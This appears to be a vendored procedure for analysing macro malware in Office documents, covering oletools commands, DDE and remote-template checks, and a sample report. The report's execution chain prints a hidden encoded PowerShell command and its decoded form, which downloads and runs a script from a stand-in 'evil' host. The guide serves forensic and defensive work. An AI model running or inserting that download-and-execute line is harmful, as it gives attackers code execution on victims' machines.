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Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics/threat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.
Analyzing Macro Malware in Office Documents
When to Use
A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
Investigating phishing campaigns that deliver weaponized Office documents
Extracting VBA macro code to identify the payload download URL and execution method
Analyzing obfuscated VBA code to understand the full attack chain
Determining if a document uses DDE, ActiveX, or remote template injection instead of macros
Do not use for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.
Prerequisites
Python 3.8+ with oletools installed (pip install oletools)
Examine the document for DDE, remote templates, and embedded objects:
# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE field codes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# Remote template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"
Step 6: Generate Analysis Report
Document the complete macro malware analysis:
Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document pattern
Key Concepts
Term
Definition
VBA Macro
Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands
Auto_Open
VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware
OLE (Object Linking and Embedding)
Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects
DDE (Dynamic Data Exchange)
Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates
Remote Template Injection
Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection
XLM Macros (Excel 4.0)
Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools
Protected View
Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier
Tools & Systems
oletools (olevba): Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
oledump.py: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
XLMDeobfuscator: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
ViperMonkey: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
YARA: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators
Common Scenarios
Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros
Context: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.
Approach:
Run oleid to confirm VBA macros are present and identify auto-execution triggers
Extract VBA code with olevba --decode --deobf for initial deobfuscation
Identify the auto-execution entry point (Auto_Open or Document_Open)
Trace the execution flow from the entry point through helper functions
Deobfuscate string concatenation and Chr() encoding to reveal the download URL
Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
Extract all IOCs and create YARA rules for the specific obfuscation pattern
Pitfalls:
Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
Ignoring document metadata that may contain attacker fingerprints (author name, template name)
Not checking for both VBA and XLM macros in the same document (some malware uses both)
Output Format
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual Basic
